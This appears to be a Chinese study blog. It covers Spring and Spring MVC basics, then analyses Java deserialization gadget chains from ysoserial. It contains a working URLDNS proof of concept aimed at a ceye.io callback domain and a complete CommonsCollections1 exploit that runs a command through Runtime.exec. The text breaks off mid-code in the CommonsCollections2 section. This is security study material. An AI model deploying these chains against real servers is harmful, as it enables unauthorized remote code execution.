上一篇文章字数爆了......新的内容放到这篇里.预计develop篇把几个大框架看完就结束,然后跟下比较出名的几个框架的反序列化链子。
develop
Spring
emm没错又从maven跳到spring了。大概是因为spring框架出现的频率还是算比较高的。并且还不能简单的按照servlet开发的流程理解。所以先学习下spring的基础知识。
- what is spring
轻量级的Java Web开发框架,以IOC,AOP为内核,使用基本的JavaBean完成以前只可能由EJB完成的工作,取代了EJB臃肿和低效的开发模式。
spring框架采用分层结构。可分为Data Access/Integration、Web、AOP、Aspects、Messaging、Instrumentation、Core Container和Test。
其中core container 核心容器包含几个模块
Core模块:提供了框架的基本组成部分,包括IoC和依赖注入功能;
Beans模块 :提供BeanFactory,是工厂模式的经典实现,Spring将管理对象称为Bean;
Context模块:是在Core和Beans模块的基础上建立起来的,以一种类似于JNDI注册的方式访问对象,是访问定义和配置任何对象的媒介。ApplicationContext接口是上下文模块的焦点;
SpEL模块:提供了强大的表达式语言,用于在运行时查询和操作对象图;
其他如Data Access/Integration 包含jdb,orm等模块。Web包含Servlet,MVC等模块。暂且不提。
下面还是按照mi1k7ea师傅的流程先做一个简单的spring demo。创建spring项目很简单。idea中创建项目里选择spring后下面选择download选项自动下载依赖。之后就会发现依赖包已经在lib文件夹下了。
首先src下建包top.bycsec。新建两个类
HelloWorld
package top.bycsec;
public class HelloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("Your Message : " + message);
}
}
MainApp
package top.bycsec;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
}
这里我们使用框架的ClassPathXmlApplicationContext()函数来创建应用程序的上下文。这个API加载beans的配置文件并最终基于所提供的API,它处理创建并初始化所有的对象,即在配置文件中提到的beans
同时使用已创建的上下文的getBean()方法来获得所需的bean。这个方法使用bean的ID返回一个最终可以转换为实际对象的通用对象。一旦有了对象,你就可以使用这个对象调用任何类的方法;
那么自然。我们选择加载了beans.xml的配置。所以需要配置beans.xml。
此处bean 的id自定。但是必须和获取bean时使用getBean()的参数保持一致。
接下来就spring里的几个基础术语学习下
- IOC
IOC 即 Inversion of Control ,控制反转。指在程序开发中,实例的创建不再由调用者管理,而是由Spring容器创建。Spring容器会负责控制程序之间的关系,而不是由程序代码直接控制,因此控制权由程序代码转移到了Spring容器中,控制权发生了反转,这就是Spring的IoC思想
Spring容器使用依赖注入(DI)来管理组成一个应用程序的组件。这些对象被称为Spring Beans。
即,IoC容器是一个具有依赖注入功能的容器,它可以创建对象,IoC容器负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。
IOC容器的使用很大程度上是为了解决开发过程中,出现一个系统有大量的组件,其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。因此使用了IOC。
同时。控制反转这个概念意味着应用程序只需使用已经配置好的组件,那么"依赖注入"这个概念就随之而出了。我们不是new一个对象。而是注入它到其他组件中。这样我们节省了编写配置代码的时间。同时注入也意味着我们可以将这个组件注入到其他类中。体现了组件共享的简单。
也正因如此。我们要让IOC容器知道怎样配置组件。所以才有了上面的使用xml文件进行bean的配置这一做法。
spring提供了两种IOC容器。一种是我们用过了的ApplicationContext
.还有一种是比较轻量的BeanFactory
.
二者的主要区别在于,如果Bean的某一个属性没有注入,则使用BeanFacotry加载后,在第一次调用getBean()方法时会抛出异常,而ApplicationContext则在初始化时自检,这样有利于检查所依赖的属性是否注入。因此,在实际开发中,通常都选择使用ApplicationContext,而只有在系统资源较少时才考虑使用BeanFactory。
具体用法跟上面的demo没有区别。只是实例化类的区别。因此不再提及。
如果要把上面的流程再仔细分析下的话。其实第一句ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
是加载了bean的配置文件。并且初始化好对象。第二句则使用getBean()
这个方法通过配置文件中的 beanid返回真正的对象并使用其调用任何方法。
- bean
Bean是一个被实例化、组装、并通过Spring IoC容器所管理的对象。这些Bean是由用容器提供的配置元数据创建的,例如前面看到的在XML的表单中的定义。
demo中出现的几个bean的元素
id 是一个 Bean 的唯一标识符,Spring 容器对 Bean 的配置和管理都通过该属性完成
class 该属性指定了 Bean 的具体实现类,它必须是一个完整的类名,使用类的全限定名
property 元素的子元素,用于调用 Bean 实例中的 Set 方法完成属性赋值,从而完成依赖注入。该元素的 name 属性指定 Bean 实例中的相应属性名
因此上面bean的xml配置其实是做了这样的注入的
HelloWorld a= new HelloWorld();
a.setMessage("byc_404");
spring中实例化bean除了简单的使用构造方法的构造器实例化。还有静态工厂实例化,实例工厂方式实例化。这些我个人认为可以暂时不用深入了解。主要还是理解了IOC,依赖注入这样的理念。用起来就有明确的思路了。
- bean装配
前面似乎一直在说得使用xml文件进行bean的指定。但实际上可以不使用xml进行配置。xml配置实际可能存在难以维护的缺点。因此可以使用其他方法进行装配。
可以使用Annotation来进行配置。
常用的几个注解
@Required @Required注释应用于bean属性的setter方法,它表明受影响的bean属性在配置时必须放在XML配置文件中
@Component 可以使用此注解描述Spring中的Bean,但它是一个泛化的概念,仅仅表示一个组件(Bean),并且可以作用在任何层次。使用时只需将该注解标注在相应类上即可。
@Repository 用于将数据访问层(DAO层)的类标识为Spring中的Bean,其功能与@Component 相同。
@Service 通常作用在业务层(Service 层),用于将业务层的类标识为Spring中的Bean,其功能与@Component相同。
......
通常我们在类中注明了相关的annotation后,beans.xml配置如下
?xml version="1.0" encoding="UTF-8"?>
这样就会在选定的包里自动寻找bean了。
同样我们还可以自动装配bean.
TextEditor
package top.bycsec;
public class TextEditor {
private SpellChecker spellChecker;
private String name;
public void setSpellChecker( SpellChecker spellChecker ) {
this.spellChecker = spellChecker;
}
public SpellChecker getSpellChecker() {
return spellChecker;
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void spellCheck() {
spellChecker.checkSpelling();
}
}
SpellChecker
package top.bycsec;
public class SpellChecker {
public SpellChecker(){
System.out.println("Inside SpellChecker constructor." );
}
public void checkSpelling() {
System.out.println("Inside checkSpelling." );
}
}
MainApp
package top.bycsec;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
TextEditor te = (TextEditor) context.getBean("textEditor");
te.spellCheck();
}
}
beans.xml
注意这里我们使用自动装配,也就是配置bean的autowire属性。比如此处的byName就是指: 根据 Property 的 name 自动装配,如果一个 Bean 的 name 和另一个 Bean 中的 Property 的 name 相同,则自动装配这个 Bean 到 Property 中。这里我们textEditor这个bean定义设置为自动装配byName,并且它包含spellChecker属性(即它有一个 setSpellChecker(…) 方法),那么Spring就会查找定义名为spellChecker的bean,并且用它来设置这个属性
如果我们不用自动调用。那么beans.xml中的配置就需要额外设置property
同理。我们还可以使用byType等autowire属性值来进行自动装配。
今天先看到这。spring的内容还是比较多的
SpringMVC
今天简单写个springmvc的demo。其实看了眼廖雪峰老师的spring教程。发现spring的项目基本都是maven构建的。实际上我们就算单纯使用idea中springmvc开发,也可以加入maven结构。
我个人看了下网上csdn的几种写法。有点惊讶有的根本没有写出mvc的作用,有的方法完全拘泥于原来servlet的写法,没有用上spring自己的依赖。最后找到一个阿里云的demo才真正理解了其结构。下面来实际操作下。
首先idea创建springmvc项目。当然刚刚提到了创建maven项目然后引入spring依赖也是可以的。这里我们就暂且先使用idea来帮助我们直接处理好spring的依赖吧。
刚创建完项目首先要注意一点。需要在ProjectStructure => Artifact 中将两个spring的依赖加入到WEB-INF/lib中。否则待会我们使用tomcat部署时会报错。
接下来先用不加注解的方法写一个class。
package top.bycsec;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Helloworld implements Controller {
@Override
public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("name","byc_404");
modelAndView.setViewName("hello");
return modelAndView;
}
}
底下addObject是加载模型数据。setViewName则是选定模型视图。这里视图不使用hello.jsp而是hello是方便书写。我们后面直接在配置中定义后缀即可。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>
Hello World
Hello ${name}
hello.jsp 使用SpEL表达式。即获取我们刚刚的模型数据输出到视图。
然后是项目创建时自动生成的dispatcher-servlet.xml。这里可以修改我们bean的相关参数。比如此处设置路由/helloworld
。利用beanid让其对应class为HelloWorld.以及视图是在web根目录下找后缀为jsp的文件。
配置文件bean部分如下。
testHandler
/
.jsp
之后加载tomcat配置跑起来即可。访问根目录是index.jsp内容。访问/helloworld
则是hello.jsp
当然。这种写法肯定是麻烦了。刚好昨天学过了spring 中自动装载bean的用法。那么此处当然也可以利用注解+配置自动装载bean
新写一个AnnotationHandler类。这里使用注解@Controller
将其置为控制器。同时设定其路由为/mdoel
。数据与视图跟刚刚差不多。
package top.bycsec;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class AnnotationHandler {
@RequestMapping("/model")
public ModelAndView modelAndViewTest(){
ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("name","byc_404");
modelAndView.setViewName("show");
return modelAndView;
}
}
show.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>
Model
Testing model by ${name}
dispatcher-servlet.xml
/
.jsp
直接扫描top.bycsec包十分方便。现在我们访问/model
路由
最终项目路径
如果要在上面基础上接受参数或者设置路由基本跟servlet差不多
@Controller
@RequestMapping("/user")
public class UserController {
// 实际URL映射是/user/profile
@GetMapping("/profile")
public ModelAndView profile() {
...
}
// 实际URL映射是/user/changePassword
@GetMapping("/changePassword")
public ModelAndView changePassword() {
...
}
@PostMapping("/signin")
public ModelAndView doSignin(
@RequestParam("email") String email,
@RequestParam("password") String password,
HttpSession session) {
...
}
}
假如编写的是大量接口的代码(rest api)。spring还提供了@RestController
来代替@Controller
.这样接口的方法自动变成api方法。数据也是restapi的json数据。
Audit
这一部分用于学习java代码审计中一些常见漏洞的深层原理。比如之前反序列化中利用链的深层原因还没有全部学清楚。一些特定情况下的payload编写也还需要基础知识作为底层支持。
真正接触了实战才会发现java在现在仍旧是建站的首选,并且往往可以拿到权限较高的shell.也幸好最近接触java相对更多了点,所以才有胆量去探究这些漏洞利用的底层。
deserialization gadgets
先从ysoserialpayload利用链的原理开始审计。
根据我们最早学习到的java反序列化原理。我们知道,序列化利用类必须是实现了Serializable的。这些都是payload可行的必要条件。所以后续这种细节都不必提。
- URLDNS
URLDNS常用于检测反序列化漏洞。原因很简单:
1.依赖原生类Hashmap
2.不依赖jdk版本
我们看看Hashmap类。它实现了readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node[] tab = (Node[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
关键在最后一行的putval。我们先看向putval中使用了的hash方法
里面hashCode方法取决于你的key的类。此处是java.net.URL类。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
而跟进这里的handler发现调用的是java.net.URLStreamHandler的hashCode。
看到getHostAddress
.就能明白此处肯定是对域名进行了解析。所以会发出DNS请求。
不过。URLDNS的payload编写并非这么简单的一个调用就完事了的。刚刚上面我们看到。hashCode
方法里强调如果hashCode不为-1,则直接返回hashCode.而url类中它是默认为-1的。
刚刚我们说,触发点在putVal
那里。它的key是通过readObject读取出来的。那说明我们的key写入时是通过writeObject写入的。按照这个线路跟下去,会发现key值最终来自HashMap中table的值。而HashMap 中的table即hash表是通过hashmap.put来写入数据的。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里也调用了hash。那么说明这里也会触发dns请求
我们可以写个demo
本地写要将put的第二个参数设为-1才会发出dns请求。
package top.bycsec;
import java.util.HashMap;
import java.net.URL;
public class exp {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.xxx.ceye.io/");
map.put(url,-1);
}
}
我们如果只想在对方机器上检测是否产生dns请求。那么必须得规避掉Hashmap.put这一次调用时里面做出的dns请求。方法也很简单。那就是在put前修改URL的hashCode为其他任意值,就可以在put时不触发dns查询
这一步可以通过反射来达成。
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class exp {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.xxx.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123);
System.out.println(url.hashCode());
map.put(url,123);
}
}
此时调用url的hashCode结果会返回123.也就是直接返回了我们设置的值,避免了dns查询。
hashCode 这个属性不是 transient 的,而是private的。所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
因此。我们实际的poc如下
package top.bycsec;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.xxxx.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 123);
map.put(url, "byc_404");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(map);
oos.close();
}
}
这样就成功将序列化数据写入out.bin,并且没有本地发出dns请求。然后我们模拟真实场景触发
package top.bycsec;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class exp {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
ois.close();
}
}
在p1g3师傅的文章里还对ysoserial的payload进行了分析。我们不妨也看看yso的jar包中是如何书写的(其实直接去看github上源码可以配合注释更好阅读)
public Object getObject(String url) throws Exception {
URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL((URL)null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
SilentURLStreamHandler() {
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
jar包反编译看不出提示。我们再github源码上则可以找到作者的说法
//Avoid DNS resolution during payload creation
//Since the field java.net.URL.handler
is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
配合上面的源码。我们知道这里它新建了一个子类SilentURLStreamHandler继承URLStreamHandler。那当它在URLDNSpayload里调用put时是直接调用自定义的getHostAddress
.这个方法返回null.
而当反序列化执行时,因为这里的SilentURLStreamHandler属性被设置为transient,而被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。
到此为止。我们完成了整条urldns链的分析。
gadgets如下
HashMap#readObject
HashMap#hash
URL#hashCode
URLStreamHandler#hashCode
URLStreamHandler#getHostAddress
- CommonCollections1
先说下环境的配置问题。因为cc链子好几条都只能用在jdk1.7下了所以得弄个jdk1.7的环境。开始打算用kali虚拟机现成的的jvm里的1.7,结果因为官方库已经没有openjdk7了,idea识别不到。所以只好又下了一个jdk1.7.
因为只是项目用,所以不需要添加环境变量什么的就可以了。不过需要注意的是idea项目切换jdk版本的话,尤其对于我们maven项目而言,一定要把设置里所有默认值都改为jdk1.7.包括:pom.xml里java version与maven 编译version;project structure里project sdk 以及modules;Language level;java Compiler version 全部调整为1.7才能不出错。
否则会在编译时报无效的源
以及编译完后无效的目标发行版
这两种错。
修改好后就没有什么好担心的了。开始maven导库审计吧。
pom.xml
UTF-8
UTF-8
1.7
1.7
1.7
commons-collections
commons-collections
3.1
org.apache.commons
commons-collections4
4.0
org.javassist
javassist
3.25.0-GA
首先是一个关于动态代理的例子。
1.java中代理类的作用是:调用不可以直接被实例化的接口方法。
2.动态代理可以直接"创建"某个接口的实例,对其方法进行调用.
3.调用某个动态代理对象的方法时,都会触发代理类的invoke方法.
先定义一个接口。它有一个helloworld方法。
package top.bycsec;
public interface Hello {
void helloworld(String name);
}
接下来调用这个exp。我们可以直接实例化一个handler.它实现了InvocationHandler这个接口。同时需要重写invoke方法。此处我们让他在方法名为helloworld时输出自定义内容
然后实例化一个代理对象hello.他需要ClassLoader,要代理的接口数组以及调用接口时触发的对应方法作为构造参数。
exp
package top.bycsec;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class exp {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler(){
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("helloworld")) {
System.out.println("Hello, " + args[0]);
}
return null;
}
};
Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.helloworld("byc_404");
}
}
这样在我们调用接口的helloworld时。就会触发invoke方法里的内容。
输出Hello, byc_404
接下来我们来看看cc1链子的内容。首先从执行命令的反射gadget开始。这里我确认过一遍,应该是第一部分跟CC5时就看过了。结果现在已经忘光了......所以再看一遍。
首先是commonscollections这个包里Trandsformer这个接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
它实现了类型转换的功能。其中实现了这个接口的类主要有三个,也就是我们后面构造payload要用到的.
InvokerTransformer
ConstantTransformer
ChainedTransformer
他们都实现了 Transformer 以及 Serializable接口。
看下他们的transform方法
InvokeTransformer
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
一个非常典型的反射调用方法的功能
ConstantTransformer
public Object transform(Object input) {
return this.iConstant;
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
返回某参数。如果去看了它的构造方法就会发现其实transform是一个原封不动返回的功能。
ChainedTransformer
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
执行一个for循环进行循环调用。对每个传入的transformer都调用其transform方法并作为下一次的参数。
如果直接抽象点理解,大概是能理解下面的exp的
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
}
}
整体上是一个ChainedTransformer循环调用transform的过程。其中ConstantTransformer获取到Runtime的类,后面循环调用了三个invoke获取方法执行。
下面细节化的解释下.毕竟cc链子所有命令执行部分都是这条链(没记错的话)
先说InvokeTransformer的transform方法。上面源码里说明了它主要是一个反射的过程。其接受的参数是一个对象。
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
最大的好处就是这里所有反射参数都是可控的。所以其实这里就能rce.
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(runtime);
只不过显然我们没有直接传入一个Runtime.getRuntime()
这样一个实例的可能。所以需要利用一下其他的类作辅助。
比如说上面提到的ConstantTransformer.其transform方法会返回自身。所以说可以
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(constantTransformer);
再加上ChainedTransform会调用其输入的transform这个特点,我们就可以进一步来到cc反射exp的雏形
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
chain.transform(123);
此时已不再需要输入变量为对象,而是可以为任意值(此处为123)。
只不过这里有一个问题,我们曾经说过
java反序列某类时,该类的所有属性必须是可序列化的
此处Runtime.getRuntime()还是返回了runtime对象,它不是可序列化的。即反序列化时上述exp会报错抛出NotSerializableException。
当然解决方法也很简单,不允许直接获取的话,直接动态调用就好了。也就是继续用反射获取Runtime.
所以才有了最完整的exp中
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
第一步反射使用getMethod获取getRuntime这个方法对象。再invoke获取getRuntime的执行结果。最后直接反射执行exec calc.或者传字符串数组执行特殊命令弹shell.
到这一步为止达成了: 反序列化时执行transform方法即可rce.下面就是找可用类链子了。因为不可能直接就在readObject里调用transform吧。
下面是cc1中链子的开始。
org.apache.commons.collections.map.LazyMap 它实现了Serializable接口并存在readObject方法。
LazyMap的get方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
this.factory.transform(key)
就是一个调用了transform的例子。那么只要factory可控就能调用上面的反射rce了。
看下构造方法。
虽然只要实例化的话就能控制factory了。但是这不是一个public的构造方法,在java中想要获取到这个构造方法还是得用反射。
此时的exp已经可以写成
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}
所以,最后也是最难的一点就是找到一个调用get并传递任意值的地方,来调用我们lazymap的get方法。这也就是作者的强大之处。
jdk1.7版本下找到的是sun.reflect.annotation.AnnotationInvocationHandler
注意你直接导入是导不了这个类的。可以在jre的rt.jar 中找到这个\sun\reflect\annotation\AnnotationInvocationHandler.class
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
......
注意这里readObject又调用了this.memberValues的entrySet
方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)
这也就是java 的动态代理机制。调用entryset这个方法实际上调用的是代理的invoke
.
invoke里又调用了memberValues的get.那么只要令memberValues为我们构造好的Lazymap对象即可
final exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import sun.reflect.annotation.AnnotationParser;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.IdentityHashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
ois.close();
}
}
- CommonCollections2
首先注意是CommonsCollections4的依赖
起点是
java.util.PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里queue可控。然后一条链走向heapify => siftDown => siftDownUsingComparator => comparator.compare
这里就可以开启新的gadget了。比如cc2链子中使用的是
org.apache.commons.collections4.comparators.TransformingComparator 的同名compare方法。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
transform方法的作用自然是之前的一套反射组合拳进行rce了。所以需要transformer
可控。而从构造方法去看的话会发现也是可控的。
这里就可以写一个exp
package top.bycsec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
